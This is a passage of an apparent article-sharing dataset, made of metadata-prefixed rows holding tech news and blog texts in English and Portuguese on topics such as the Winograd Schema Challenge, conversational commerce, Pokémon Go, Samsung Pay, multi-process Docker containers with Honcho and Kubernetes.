Marcus, who is also the cofounder of a new AI startup , Geometric Intelligence, says it's notable that Google and Facebook did not take part in the event, even though researchers at these companies have suggested they are making major progress in natural language understanding. ""It could've been that those guys waltzed into this room and got a hundred percent and said 'hah!'"" he says. ""But that would've astounded me."" The contest does not only serve as a measure of progress in AI. It also shows how hard it will be to build more intuitive and graceful chatbots, and to train computers to extract more information from written text. Researchers at Google, Facebook, Amazon, and Microsoft are turning their attention to language. They are using the latest machine learning techniques, especially ""deep learning"" neural networks, to develop smarter, more intuitive chatbots and personal assistants (see "" Teaching Machines to Understand Us ""). As a matter of fact, with chatbots and voice assistants becoming more common, and with dramatic progress in areas like image and speech recognition, you might think that machines were getting pretty good at understanding language. One of the two first-place entries did, in fact, use a cutting-edge machine learning approach. Liu's group, which included researchers from York University in Toronto and the National Research Council of Canada, used deep learning to train a computer to recognize the relationship between different events, such as ""playing basketball"" and ""winning"" or ""getting injured,"" from thousands of texts. ""I was delighted to see deep learning used,"" says Leora Morgenstern , a senior scientist at Leidos Corporation, a technology consulting firm, and one of the organizers of the challenge. Liu's team claims that after fixing a problem with the way its system parsed the contest's questions, it is almost 60 percent accurate. Morgenstern cautions, however, that even if these claims were confirmed, the accuracy would still be far worse than a human's. Winograd Schema sentences were first highlighted as a way to gauge machine comprehension by Hector Levesque, an artificial-intelligence researcher at the University of Toronto. They are named after Terry Winograd, a pioneer in the field and a professor at Stanford University who built one of the first conversational computer programs. The challenge was proposed in 2014 as an improvement on the Turing Test. Alan Turing, a forefather of computing and artificial intelligence who in the 1950s pondered whether machines might one day think as humans do, suggested a simple way of testing a machine's intelligence. His idea was for a machine to try to fool a person into thinking that he was conversing with a real person in a text conversation. The problem with the Turing Test is that it's often easy for a program to fool a person using simple tricks and evasions. But a program cannot parse Winograd Schema or other ambiguous sentences without some form of general knowledge. The contest could have significant practical implications. ""It's going to come up when you start to support dialogues,"" says Charlie Ortiz , a senior principal researcher at Nuance, a company that makes voice recognition and voice interface software, which sponsored the Winograd Schema Challenge. Ortiz says common-sense reasoning will be required for even simple conversations with computers. ""In shopping, if I say, 'I want to get a case for my guitar; it should be strong.' So does 'it' refer to the case or the guitar?"" Marcus adds that common-sense reasoning will become more important as devices such as smart appliances or wearable gadgets become more common. ""When you want to ask a query of your watch you don't get to scroll through 50 choices,"" he says. ""When you start talking to your car or your watch, and you get rid of the typing modality and want to have a connected set of sentences-this conversational discourse-people just naturally refer back to things, and you need to solve these problems to make it work."" Will Knight Senior Editor, AI I am the senior editor for AI at ... infinite loop) on a mighty Sinclair ZX Spectrum. Before joining this publication, I worked as the online editor at MIT Technology Review . I mainly cover machine intelligence, robots, and automation, but I'm interested in most aspects of computing. I grew up in south London, and I wrote my first line of code (a spell-binding More New Scientist magazine. If you'd like to get in touch, please send an e-mail to will.knight@technologyreview.com .",en
1468585571,CONTENT SHARED,5350829677696205474,-1479311724257856983,3658514427587226553,,,,HTML,https://medium.com/chris-messina/2016-will-be-the-year-of-conversational-commerce-1586e85e3991,2016 will be the year of conversational commerce - Chris Messina,"Nearly a year ago today, I wrote a post inventorying the forebears to what I believe has become the dominant trend of consumer computing apps in 2016, a trend that I dubbed Conversational Commerce and have tracked with the hashtag #ConvComm . This trend best came to life in 2015 with Uber's integration into Facebook Messenger : And now we have data from Business Insider showing that messaging apps have eclipsed social networks in monthly actives: And yesterday, WhatsApp (owned by Facebook) took the unanticipated (but easily expected) step of removing its $1 annual fee to go completely free in anticipation of a conversational commerce future: Starting this year, we will test tools that allow you to use WhatsApp to communicate with businesses and organizations that you want to hear from. That could mean communicating with your bank about whether a recent transaction was fraudulent, or with an airline about a delayed flight. We all get these messages elsewhere today - through text messages and phone calls - so we want to test new tools to make this easier to do on WhatsApp, while still giving you an experience without third-party ads and spam. The tech press seemed to grok the significance of this move ( considering their coverage ) in spite of historically underrating WhatsApp, even with its ~900M users. On the very same day, sam lessin posted his thoughts about the winners and losers in the coming ""bot"" market , concluding that conversational experiences represent ""...a fundamental shift that is going to change the types of applications that get developed and the style of service development in the valley, again."" I agree, and so that's why I'm ready to call it: 2016 will be the year of conversational commerce As I've surveyed the landscape collecting startups and apps that fit into this paradigm, talked with the press , observed how marketers , branding agencies , platform makers , and VCs have come to the same conclusion, I thought I'd jot down a few observations to consider as we plunge headlong into this brave new world. Before I begin, I want to clarify that conversational commerce (as I see it) largely pertains to utilizing chat, messaging, or other natural language interfaces (i.e. voice) to interact with people, brands, or services and bots that heretofore have had no real place in the bidirectional, asynchronous messaging context . The net result is that you and I will be talking to brands and companies over Facebook Messenger, WhatsApp, Telegram, Slack, and elsewhere before year's end, and will find it normal . Indeed, there are several examples of this phenomenon already, but those examples are few and far between, and fit in a Product Hunt collection rather than demand an entire App Store (wait for it). Additionally, I'm less interested in whether a conversational service is provided by a human, bot, or some combination thereof. If I use these terms interchangeably, it's not unintentional . It's just that over an increasing period of time, computer-driven bots will become more human-feeling, to the point where the user can't detect the difference, and will interact with either human agent or computer bot in roughly the same interaction paradigm. Discovery and distribution One of the biggest challenges of this paradigm is the discovery of new conversational services. Should messaging incumbents each provide their own conventional app store, where users can browse recommended partners, a la Snapchat Discover or Slack's App Directory ? And should these conversational services rely exclusively on distribution from popular messaging apps? ...or should these services be accessed in-context through data detectors or through a dedicated expansion interface, as in Facebook Messenger? Or should bots surface organically - i.e. when a friend mentions a bot by name, or invites a bot to join you in a separate thread? This would be more natural, but would require many ""patient zeroes"" to have original knowledge of the relevant bots in the right moments. This question of discovery is unsolved, and will remain a looming question for the rest of the Messenger-class apps out there. I expect to see more approaches presented at F8 , if only because the Messenger Platform was announced last year, and there's been little announced since then. The fight to own the conversational command line Discovery of discreet conversational services becomes less of an issue if users are slowly trained to think and type more like programmers. That is, the more that users get frustrated expressing themselves in complete sentences, and the more technically sophisticated they become, the more likely they are to warm to the efficiencies of the command line. So whether you take Sarah Guo 's position on the Revenge of Clippy , or Partyline's assertion that "" the future is one simple interface "", which looks less like this: ...and more like this: The net conclusion is that people will learn to type commands into messaging apps in the future, hinting at the importance of Slack's standardization of Slash Commands or Mixmax's effort to bring slash commands to email , and why innovative solutions like Peach's Magic Words are battling to provide the most utility to users with the least effort and the least complexity: Threads, persisting context across devices, and extreme personalization With iCloud, we finally got a taste of what cross-device computing should be like (of course, it took several tries ). Facebook Messenger and Slack feel like the next iteration beyond iMessage though - instantly and continuously synced to the most recent changes from the cloud. I weave between their desktop and mobile apps without losing a beat, or context. My conversations automatically rearrange themselves according to my behavior, and the bots that I was talking to on desktop are right there when I pick up on mobile. Nothing to install, nothing to configure- just flow . Conversational apps are therefore organized around the way I organize my life, rather than the way the app maker might dictate. The lightness of being in this world is profound. For example, with my new job at Uber, I had to get a new laptop, which invariably meant installing dozens of ""comfort apps"" that I use to make my environment feel more familiar. But Facebook Messenger stayed the same - I started it up, and everything was in its right place. This lack of inherent friction in the experience changes a user's perception of the service, and even though it's hard to quantify, I intuitively believe this feeling makes an enormous difference in the long term commitment to a platform. This consistency is a form of extreme personalization enabled by conversational interfaces. I guarantee you that if you look through anyone else's Facebook Messenger threads, Twitter DMs, iMessages, OKCupid messages, or Snapchats that the order, content, and velocity of messages and content will feel extremely foreign, and likely massively uninteresting. Contrast that with a gaming platform where all users go through some kind of elaborate, universal onboarding process, and you'll begin to grasp how this subtle form of extreme personalization is core to the conversational paradigm. The language of conversational apps and notifications Suffice to say, the verbs we use with traditional apps are irrelevant in the conversational paradigm. We "" buy"" , "" download"" , "" install"" , and "" trash"" apps. The conversational paradigm is more social, and therefore less technologic. We use humane verbs like "" add "", "" invite "", "" contact "", "" mute "", "" block "", and "" message "". The language of conversation is more accessible to a broader audience, which will in turn accelerate the adoption of conversational agents faster than we saw with desktop apps. No longer do you need to convince users to ""download and install"" an app - they can just invite a bot to a conversation and interact with it [eventually] like they would a person. Zero barriers to adoption, with minimal risk to the user (i.e. malware, etc). And receiving notifications from bots is to be expected, rather than avoided, because users have been conditioned to receive them from their friends. While you may have bristled when that news app alerted you to ""new stories"", you might appreciate a particularly friendly newsbot delivering a personalized recommendation with context that you uniquely care about. Payments, location, and persistent identity So, I've mentioned several aspects of this paradigm shift that have to do with the change in the user experience, but there's another dimension worth considering, and that has to do with what users of conversational apps bring to the equation: namely, lots of information and capabilities that used to be exceedingly rare in the computing environment. For one thing, the Uber integration in Messenger was made possible because mobile payment mechanisms are now commonplace in chat apps. Since you can send money directly within Facebook Messenger , that payment vehicle can in turn be used to pay bots for products . Additionally, conversational mobile apps have a lot more contextual information about users, including location, health, sensor, and social data. This information is useful for fighting fraud, and as such conversational apps (like Operator ) will push commerce and purchases into this context aggressively and away from the query-thrashing model (read: Google ). Meanwhile, all of this data is also available to clever developers to build interesting and more personal agents and bots. And since each interaction and engagement is tracked, the longer the conversation thread persists, the easier it will be to offer more responsive heuristic approaches that anticipate the user's specific needs. That is, the more conversational agents will appear to be getting to know you! Ambient computing and hardware trojan horses I mentioned this in my post last year, but we can now see that the voice-controlled hardware trojan horses from the big companies haven't necessarily been embraced with open arms. Yet . I don't have specific numbers, so I may be wrong, but my sense is that it's still very early days for devices like Amazon's Echo (which is being shrunk ) or Google's onHub . While there continues to be interest in the internet of things and wearables, these kinds of ""room computers"" don't seem to have mass consumer appeal, say, compared with the Xbox 360 . Still, most people have smart phones , so these dedicated home AI devices may be more about reaching that audience that has thus far resisted obtaining their own smart phone, or only use their smartphone's basic functionality (i.e. don't install or use apps). Lightning fast development cycles, increased competition, and customer service Lessin points out that building conversational bots costs less and happens faster than building and maintaining cross-platform apps. This is critical. [Dealing] with installed client software is slow. You have multiple versions of the same software running on different devices, and you have to ship software that cannot be easily recalled for bugs or errors. Startups have a hard time winning at the game (as I have written about before ). The bot paradigm is going to allow developers to move fast again. Faster and lower cost development means that there will be fewer actual ""bot businesses"" started that need funding; instead, you can take a bot template , tweak it, and launch it -  over a weekend . You can collect feedback on how people interact with it and if and only if it drives engagement, then consider what a business to back the bot might look like. This means that service builders will have to become very sensitive to the interaction that their users have with their agents and bots - humanizing the conversation, localizing correctly, and providing a meaningfully useful and differentiated service . Bot discovery and distribution will favor the fastest, most clever, and most responsive bot makers, as word of mouth virality is natural to the conversational context unlike in the App Store. Well organized development teams will grow their service commensurate with their customers' needs, moving at their speed, and without being held back by opaque app store submission processes. When the new version is ready for release, the code is pushed and instantly every user gets the latest version. No updates, no installs, no delay. This means competition will gradually shift from glossy marketing spend (think: Boom Beach and Clash of Clans ) and an obsession with ranking among the top of an App Store category to emphasizing friend of friend referrals and word of mouth spread. Platforms, SDKs; encumbered & upstarts Lastly, we're entering a moment where there is no clear winner per se, and where the strategy to win both consumers' and developers' hearts hasn't been determined. Slack's API is obviously very popular. Facebook's Messenger platform and WhatsApp have huge distribution but are shadowed by Asian rivals like WeChat and Line . Telegram's Bot API shouldn't be overlooked. Google may yet offer its own chatbot messaging platform (superseding Hangouts?). Other platform builders are currying favor with developers and capitalizing on the enterprise segment of the market. Intercom and Smooch enable brands and companies to message their customers from within their existing apps. Twilio and Layer offer more fundamental components that can be composed into increasingly sophisticated offerings. It's still too early to name a breakout winner, but it's going to be fascinating to see how these different conversational platforms shape up and differentiate, and how each will control, give access to, or promote third parties to their users. Will everything move to the conversational paradigm? No, but there are a lot of apps that shouldn't exist as stand-alone apps, and that are wallowing in obscurity or disuse. By reducing the cost and friction of trying out new services, the conversational commerce paradigm promotes an entirely new era of lightweight experimentation. Over time, service builders can focus more on the apparent value that they can deliver through the familiar conversational channel, and can finally dispense with requiring users to learn their app's needlessly bespoke interface. This shift is good news for service builders, and it's good news for users. I can only imagine how far along we'll be when 2017 rolls around. ☞ ☞ To hear from the author in the future, ☞ Please tap or click ""♥︎"" to help to promote this piece to others. sign up for his newsletter or follow him on Twitter . Chris reads every response on Medium or reply on Twitter , so don't hesitate to let him know what you think - do tag your tweets with #ConvComm. The shortlink for this post is",en
1468587090,CONTENT SHARED,-70211258489242437,-108842214936804958,7380608127333070616,,,,HTML,http://frasesdestarwars.com.br/videos/anaqueen-skywalker-um-mashup-de-star-wars-com-bohemian-rhapsody/,Anaqueen Skywalker: um mashup de Star Wars com Bohemian Rhapsody,"Hoje é Dia do Rock, bebê! Falando nisso, você já percebeu que a música Bohemian Rhapsody, da banda Queen, possui relações com a história de Anakin Skywalker? Pensando nisso, preparamos um mashup super especial. Confira e tire suas próprias conclusões! =) OBS.: o vídeo está legendado no próprio Youtube. Se a legenda não aparecer automaticamente, clique no ícone para ativar!",pt
1468589985,CONTENT SHARED,2608740049979127115,-1032019229384696495,3311154607426495045,,,,HTML,https://techcrunch.com/2016/07/15/pokemon-go-go-go-go-go-go-go/,Pokémon Go to go global 'soon' as hit game launches in three more countries,"Pokémon Go is already a phenomenon that has captured the attention of millions and added billions to Nintendo's market cap , but the game itself remains limited to a handful of countries. There's good news for wannabe players, then, with word that it most definitely harbors global expansion plans. Niantic, the once-Google-owned company behind the game, said today that intends to expand the app to over 200 countries worldwide ""relatively soon."" ""Why limit it?"" John Hanke, Niantic's CEO, said in an interview with Reuters . Limited is indeed the world. Right now, Pokémon Go is live in the U.S., UK, Australia, New Zealand and Germany, and today it expanded to three more countries in Europe: Italy, Spain, and Portugal. Users in some other countries have found ways to download it and get access to parts of the map unofficially, but generally speaking it is closed off. Millions of people are watching Pokémania explode without having a chance to sample it for themselves. Starting now, Trainers in Italy, Spain, and Portugal can download Pokémon GO officially from the Play Store or App Store. - Pokémon GO (@PokemonGoApp) July 15, 2016 Yet still, Pokémon Go's numbers have blasted any previous app phenomenon out of the water . More daily users than Twitter Higher engagement than Facebook Estimated 7.5 million downloads in the U.S. alone Estimated $1.6 million in revenue each day The rush of interest has put a huge strain on the game's servers, though, with many users suffering intermitted issues. That's clearly a concern for any kind of extended global expansion, but Hanke assured that the company is bulking up its infrastructure accordingly. Two notable markets to come are Japan, the home of Pokémon and the world's most lucrative mobile games market, and Korea, another hugely valuable country where, also, Google's maps service - which Pokémon Go relies on - isn't fully supported due to local issues. Hanke didn't give any specific details on either launch, other than that Japan will be soon ( that word again! ) and that the issues in Korea can be worked on. China, the world's largest smartphone market, would seem like another obvious launch. Reuters said the Niantic CEO was ""reticent"" on the country, pointing out that there are additional laws and points to consider. Indeed, that's summed up neatly by reports of concern that Pokémon Go might be used for Japan, China's long-standing friend-cum-foe, or the U.S. to work out the location of military bases in the country. Featured Image: Erçin Top/Anadolu Agency/Getty Images",en
1468636489,CONTENT SHARED,2051327203770554158,3609194402293569455,-1744180941416339522,,,,HTML,http://startupi.com.br/2016/07/visa-traz-pagamentos-moveis-ao-brasil-junto-com-samsung/,Visa traz pagamentos móveis ao Brasil junto com Samsung - Startupi,"A Visa anunciou hoje seu apoio para pagamentos com Samsung Pay. A partir de 19 de julho, portadores de cartões Visa emitidos pelo Banco do Brasil, Porto Seguro, Santander e Brasil Pré-Pagos poderão fazer o upload das informações de seu cartão em seus Galaxy S7, Galaxy S7 edge, Galaxy A5 (2016), Galaxy A7 (2016), Galaxy Note 5, Galaxy S6 edge+, Galaxy S6* e Galaxy S6 edge* e usar Samsung Pay para fazer pagamentos com dispositivos compatíveis em quase qualquer lugar** onde os cartões são aceitos no Brasil e no mundo. Como patrocinador das Olimpíadas, a Visa irá permitir que os usuários de Samsung Pay paguem dentro do Parque Olímpico no Rio com seu cartão Visa cadastrado. Para isso, a Visa está instalando 4 mil terminais para portadores de cartão que queiram pagar com Samsung Pay. ""Ao trabalhar em parceria com a Samsung, nós conseguimos levar pagamentos móveis seguros para milhões de consumidores no Brasil"", afirma Eduardo Coello, diretor executivo regional da Visa, região América Latina e Caribe. ""Combinando a expertise de tecnologia de pagamento da Visa com a habilidade da Samsung em criar experiências móveis inovadoras, poderemos oferecer aos consumidores uma maneira rápida e fácil de pagar com a nova geração de pagamentos móveis em milhões de estabelecimentos comerciais no Brasil, dentro do Parque Olímpico e ao redor do mundo"", conclui o executivo. O Samsung Pay é apoiado pela tecnologia Visa Token Service (VTS), desenhada para permitir a realização de compras sem expor detalhes que possam ser comprometidos por fraudadores. Essa tecnologia inovadora da Visa substitui informações importantes como os 16 dígitos do cartão, data de validade e código de segurança, por um identificador digital único chamado Token de Pagamento - permitindo compras mais seguras em dispositivos móveis. Segundo o Banco do Brasil, a solução da Visa com a Samsung possui total alinhamento com a estratégia da Instituição de expandir seus recursos digitais e contribui para a oferta de serviços modernos e para melhor experiência dos clientes. ""Em 2015, os portadores dos cartões Visa do Banco do Brasil já puderam criar seus plásticos virtuais para pagamento por aproximação de smartphone, por meio da tecnologia NFC (Near Field Communication). Agora, com o Samsung Pay, temos a oportunidade de aumentar nosso portfólio de soluções digitais e contribuir ainda mais para a disseminação de pagamentos com dispositivos móveis no Brasil e no mundo"", afirma Rogério Panca, diretor de meios de pagamento do Banco do Brasil. ""A Porto Seguro é uma empresa que sempre se preocupou em proporcionar aos clientes uma experiência diferenciada e positiva em relação a seus produtos e serviços. Para isso, estamos sempre atentos às tendências do mercado"", destaca Marcos Loução, diretor da Porto Seguro Cartões. ""Por meio da parceria de longa data com a Visa, e agora com a Samsung, podemos oferecer aos nossos clientes mais facilidade e comodidade no pagamento de suas compras"", ressalta o executivo. ""A Brasil Pré-Pagos é uma empresa especializada em meios de pagamento da próxima geração e uma das líderes mundiais na emissão de cartões pré-pagos Visa. Com foco em inovação, tecnologia e facilidade, além do amplo know-how em soluções pessoais e corporativas em meios de pagamento, a Brasil Pré-Pagos se sente orgulhosa de fazer parte dessa nova forma de comprar, por meio de smartphones. Ser parceira da Samsung e Visa nesta empreitada só mostra que estamos no caminho certo, proporcionando maior comodidade e segurança para que nosso cliente não deixe de aproveitar cada minuto do seu dia"", ressalta o presidente da Brasil Pré-Pagos, Paulo Renato Della Volpe. ""Queremos oferecer aos nossos clientes as melhores e mais atualizadas ofertas de soluções de pagamentos com cartões do mercado. A parceria com a Samsung e a Visa nos levam nessa direção"", afirma Rodrigo Cury, superintendente executivo de Cartões do Santander. Para realizar pagamentos em estabelecimentos comerciais com Samsung Pay, os usuários precisam basicamente, selecionar seu cartão Visa cadastrado e aproximar o aparelho ao terminal de pagamento habilitado por alguns instantes. Em breve os bancos Bradesco e Banrisul também oferecerão a tecnologia para os portadores de cartão Visa. *Apenas com tecnologia NFC ** A disponibilidade em praticamente qualquer lugar baseia-se na compatibilidade do Samsung Pay com os terminais de pagamento MST e/ou NFC, e pode depender de prévia atualização de software. O Samsung Pay é exclusivo para alguns smartphones Samsung Galaxy e está disponível em todas as redes de pagamento, bancos e lojas participantes.",pt
1468637815,CONTENT SHARED,-548976469460064550,-8020832670974472349,-1561004000481528361,,,,HTML,https://blog.codeship.com/using-honcho-create-multi-process-docker-container/,Using Honcho to Create a Multi-Process Docker Container,"A common misconception is that Docker is only for creating single-process or single-service containers. While it's true that the Dockerfile and docker run command options are designed for running a single process, that doesn't mean that Docker itself doesn't allow for a multi-process Docker container. In fact, Docker's documentation has a very useful tutorial on how to run multi-process containers using Supervisor to manage the processes within the container. Why I Don't Use Supervisor for Docker Containers While Supervisor is a great tool (I'm a big fan), I don't personally like using it for multi-process Docker containers. This is due to how Supervisor handles process failures. Supervisor is an application designed to start processes and keep those processes running if they fail. This feature can be very useful in some cases if configured appropriately. If left to its default configuration however, you can easily find yourself with a container that is not providing the service it is supposed to provide, and you may not even know that service is down. By default, Supervisor will auto-restart processes that fail. If the managed process fails three times in a row or exits in a way Supervisor is not configured to handle, the supervisord process will stop restarting the process. The problem is that the supervisord process itself does not exit; it simply logs the event. This means that the container will still be running, but the important service within the container is dead. Using Honcho to Create a Multi-Process Container Honcho is a tool for managing Procfile-based applications . A Procfile is a file that specifies which commands should be executed to start an application via tools like Honcho. We can use Honcho to start and manage all of the processes defined within a Procfile . The nice thing about Honcho is if any one of these processes exit abnormally, by default the whole Honcho process and sub-processes are stopped. This causes the Docker container to exit, which is the desired effect for this type of scenario. In this article, we will use Honcho to create a custom multi-process Docker container. This container will be used to host a Redis service that supports TLS connections. Redis-tls Docker container Redis is a highly popular in-memory datastore. It does not, however, currently support SSL or TLS. To add TLS support to Redis, we will need to run another application called stunnel . The stunnel service is an SSL/TLS proxy that can be used as a reverse proxy to perform TLS offloading for services that do not natively support TLS. While it is possible to deploy stunnel as a stand-alone container and have it linked to a Redis container, for this article we will be combining these two processes into a single container. The redis-tls Docker container we will be launching today will run two processes: the first being stunnel and the second being redis-server . As Redis traffic arrives to the containe, it will first pass through stunnel , which will perform all of the TLS communication. From there, stunnel will then forward the unencrypted traffic to the redis-server instance. This allows for communications outside of the container to be encrypted, with non-encrypted traffic being contained within the container. Since a redis-tls container image does not exist today, we will also be creating our own custom Docker image as part of this article. To start this process, we will first need to define a Dockerfile . Creating a custom Docker image from a Redis base The first instruction in any Dockerfile is usually FROM . This instruction is used to define what base image the Docker container should be created from. Since we will be creating a Redis container with TLS support, we can base our container from the standard redis Docker image by specifying redis in the FROM instruction: FROM redis A benefit of basing our image on the official redis image is that our image will inherit all of the latest features of the official redis image when updates occur. This keeps the redis-server installation up to date with the latest security and bug fixes. Installing stunnel and pip With the redis image as our base image, we don't have to go through the effort of installing Redis. We will however need to install the stunnel package. We'll also need to install the python-pip package to install pip . The pip command will be used to install Honcho within the Dockerfile . To install these packages, we will add a RUN instruction calling the Apt package manager. The above will run three instructions during the Docker build process: First instruction: the apt-get command with the update parameter. This updates the Apt repository cache within the container. Second instruction: the apt-get command, but this time with the install parameter. This instruction will install the stunnel and python-pip packages. Third instruction: rm -rf /var/lib/apt/lists/* , which clears Apt's package cache. This is useful for keeping our Docker container small as the apt-get update command creates quite a bit of cached data. Installing Honcho After the installation of packages with Apt, the next build step will be to install Honcho. To do this, we'll use the RUN instruction again but this time to call the pip command. After this build step, we will have completed all of the installation steps. Next, we'll focus on configuration of both stunnel and Honcho. Configuring stunnel With stunnel, some configuration is needed before it can provide the TLS reverse proxy functionality. Luckily, the stunnel configuration is fairly straight forward. To configure stunnel, we need to specify that stunnel runs in the foreground, which port to accept connections on ( 6379 the default Redis port), where to forward those connections to ( 6380 a port unique for this container), and the certificates to use for the TLS encryption. We will add all of these configurations into the stunnel.conf file within our local build directory. Once the stunnel.conf file is created, we need tell Docker to add this file to the container during build. We can do this by using the ADD instruction within the Dockerfile . During the Docker build process, Docker will place the stunnel.conf file from the build directory into the / directory within the container. One important item to remember is that when we start the stunnel process, we will need to specify the location of this configuration file. This configuration will go into the Procfile . Creating a Procfile As described earlier in this article, Procfiles are used by tools like Honcho to start up applications. As with the stunnel.conf file, we will need to first create a Procfile within our local build directory. The above is the contents of our Procfile ; the format is quite simple. The first element in a line is the name of the process, and the second (after the : ) is the command to run. One of the useful things about Procfile tools like Honcho is that you can control and launch processes by name. For example, if we wished to start just the Redis process, we could do so by executing honcho start redis . With the Procfile define, we once again need to add it to the container using the ADD instruction within the Dockerfile . With the stunnel.conf and Procfile defined and added to the Dockerfile build steps, we can now move on to the Dockerfile instructions for starting our applications. Starting Honcho To execute commands within our Dockerfile , we previously used the RUN instruction. These instructions are only executed during the build process for Docker containers. To specify how to start our application, we will use the CMD instruction. The command to start our application is simply honcho start . This tells Honcho to read through the Procfile and start all processes defined within it. You may notice another Dockerfile instruction shown above as well: WORKDIR . The WORKDIR instruction is used to define the working directory that the command within CMD is executed. Since the Procfile is in / , the working directory should also be / . By default, Honcho checks the current working directory. Building the Container At this point, our Dockerfile is defined, and configuration files have been created. Our next step is to build the container using the docker build command. Once the image build is complete, we can go ahead and start the container. Starting the container To start the container, we will use docker run just like any other Docker container. However, with this specific container, there are a few other options we need to pass. $ docker run -d -p 6379:6379 -v /path/to/certs:/certs --name redis-tls redis-tls When executing the docker run command, we passed the -d flag, which starts the container in ""detached"" mode, sending the container into the background. We also passed the -p flag with the options of 6379:6379 . This option sets up port forwarding from the Docker host port 6379 to port 6379 within the container. This will be needed to connect to the stunnel and Redis services. We also passed the -v flag which sets up Docker volumes. When passing the argument of /path/to/certs:/certs , we are mapping the host directory of /path/to/certs to /certs within the container. This allows for the cert.pem and key.pem to be created on the host and referenced from within the container. Validating That Everything Is Running To validate whether or not the processes have started appropriately, we can use the docker logs command. From the above, we can see that both the redis and stunnel processes are running, but what happens if one of the processes were to stop? If one process stops, Honcho will send a signal to all other processes to stop them as well. This means that we can have a multi-process container stop in the same fashion as a single-process container during failures. Summary In today's article, we created a custom multi-process Docker container with Honcho, we created a Redis container with TLS support, and we learned a little about sharing directories from a Docker host to a Docker container. For those interested in using the redis-tls container, you can do so by simply executing a docker run command using the madflojo/redis-tls image: $ docker run -d -p 6379:6379 -v /path/to/certs:/certs --name redis-tls madflojo/redis-tls The contents of the build directory and Dockerfile are also available on GitHub for those interested in contributing or modifying the redis-tls image. Have another tool for running multi-process containers? Throw a comment below and share your experiences.",en
1468684415,CONTENT SHARED,-1596335233529956315,-1032019229384696495,-8140827995171302425,,,,HTML,http://www.techrepublic.com/article/why-kubernetes-may-be-a-bigger-threat-to-amazon-than-googles-cloud/,Why Kubernetes may be a bigger threat to Amazon than Google's cloud - TechRepublic,"Image: iStockphoto/buchachon The public Infrastructure-as-a-Service (IaaS) cloud is big and set to get much, much bigger, according to IDC . How big? $43.9 billion by 2020, up from $12.5 billion in 2015. Not surprisingly, Amazon Web Services (AWS), which today accounts for most of that IaaS revenue, is expected to continue to dominate the IaaS market, ""as economies of scale and continued investment drive the cycle of adoption and growth."" OpenStack, for all its community bluster, isn't slowing the AWS train. OpenStack appeals to enterprises that remain skittish about public cloud and want to pretend to be getting the same benefits. Container management project Kubernetes, however, may be positioning the ""Anyone But Amazon"" crowd to mount a more credible threat to AWS, according to Redmonk analyst James Governor . Kubernetes and AWS Containers are hot with developers, as they increase productivity, security, and offer a host of other benefits. To date, however, they've been hard to manage at scale. Enter Kubernetes. SEE Why Kubernetes could be crowned king of container management Kubernetes, hatched at and open sourced by Google, is arguably the strongest community in the container orchestration space. Such community, however, may have little to do with holding hands and singing kumbaya and everything to do with killing AWS, as Governor deftly describes: Microsoft, Red Hat, and Google Cloud Platform are all now aligned around Kubernetes. While at first glance this new alliance of strange bedfellows might seem to be a response to the rise of Docker and the Docker Pattern-and indeed there is no doubt the enthusiastic growth in Kubernetes is partly driven by concern that Docker will own too much real estate of the new infrastructure world-I believe the overarching threat is Amazon. At first glance, there's no reason to think Kubernetes and AWS can't coexist (as indeed they can and will at many organizations). But, reading through Erez Rabih's comparison of Kubernetes to Amazon's Elastic Container Service (ECS), you start to get a sense of what's at stake. ""As many companies are starting to use Docker as their main infrastructure and delivery mechanism, orchestration frameworks become the heart of the system and affects the way we develop, ship, run and update software,"" Rabih said. OpenStack purports to give companies a way to build rival clouds, but mostly it has simply served as a way for enterprises to pretend to turn their private data centers into ""clouds,"" without getting the true benefits a public cloud provides (in terms of agility, among other benefits). But what about cloud? But Kubernetes, and the containers it manages, is something more fundamental. It's an alternative way to think about infrastructure and delivery. It's not that Kubernetes somehow obviates cloud, public or otherwise. It doesn't, and Kubernetes will happily run on AWS and other clouds. SEE Hey ops teams, developers want control of the data center (TechRepublic) This, however, is the point. Kubernetes potentially up-ends the idea of running everything in one particular cloud. As Rabih contends: ""Kubernetes is cloud agnostic. You can run your cluster on AWS, Google Cloud, Microsoft's Azure, Rackspace etc, and it should run more or less the same."" There are significant benefits to keeping all your cloudy assets in one place, but for companies wanting to hedge against Amazon lock-in, Kubernetes will be a rational choice. Of course, all this meta decision-making wouldn't matter much if the only one supporting it were the CIO, but she's not . Developers love containers, and developers (and the ops teams that support them) love Kubernetes. This love-fest likely won't stop AWS' momentum, but it does offer a compelling, rivalrous way of thinking about enterprise infrastructure, one that many enterprises may elect to embrace. Also see",en
1468695554,CONTENT SHARED,-7553931975579248065,3609194402293569455,-1744180941416339522,,,,HTML,http://www.b9.com.br/66052/advertising/comercial-japones-cria-cidade-de-papel-com-caneta-que-conduz-eletricidade/,Comercial japonês cria cidade de papel com caneta que conduz eletricidade,"A empresa japonesa Kandenko inventou uma tinta capaz de conduzir eletricidade. É a chama , que em 2014 foi financiada através de uma campanha de sucesso no Kickstarter . Pouco tempo depois, lançaram a AgIC Pen, uma caneta dotada desta tinta que permite desenhar circuitos em placas eletrônicas. O comercial acima faz uma bela apresentação do produto, criando em tempo real uma cidade feita de papel e luzes. O filme tem trilha sonora original composta pela cantora japonesa YeYe.",pt
1468814203,CONTENT SHARED,123378787151399958,-9120685872592674274,-6320307896810716597,,,,HTML,http://spotniks.com/como-o-pokemon-go-ajuda-a-explicar-por-que-o-brasil-e-um-pais-pobre/,Como o Pokémon Go ajuda a explicar por que o Brasil é um país pobre,"Você certamente já ouviu falar em Pokémon Go. O aplicativo é uma febre ao redor do mundo desde que foi lançado há poucos dias. Nos Estados Unidos, logo na primeira semana no ar, 20% dos usuários de Android já estavam apertando seus dedos no jogo. Segundo uma análise de comportamento de uma empresa de consultoria, à exceção de funções de sistema, como abrir a tela inicial ou discar um número qualquer, nesse curto intervalo de tempo o Pokémon GO se tornou a quarta atividade mais realizada em smarts Android nos EUA, atrás apenas do uso do Facebook, das buscas no Google e do uso da agenda de contatos. Um fenômeno. O que talvez você não tenha se dado conta ainda, por mais óbvia que essa frase soe, é que o Foi toda essa combinação que possibilitou a ascensão das redes sociais, massificou os notebooks, fez explodir o número de aparelhos celulares no mundo e agora permite que você saia por aí caçando Pokemon Go não é um mero acaso do nosso tempo - ele é fruto de uma complexa divisão de trabalho, de um processo evolutivo que demandou o uso de incontáveis cérebros humanos, num sistema econômico construído a partir da propriedade privada, do preço e da competição, que você provavelmente conhece como capitalismo. Pokémon pela rua. Todo esse processo é responsável por boa parte das coisas que fazem sentido e dão graça na sua vida. Foi ele quem criou condições para o surgimento do Netflix, do Uber, da Apple, da HBO, do Spotify, da Marvel, do Facebook. Sem ele, não é como se você simplesmente não tivesse acesso a 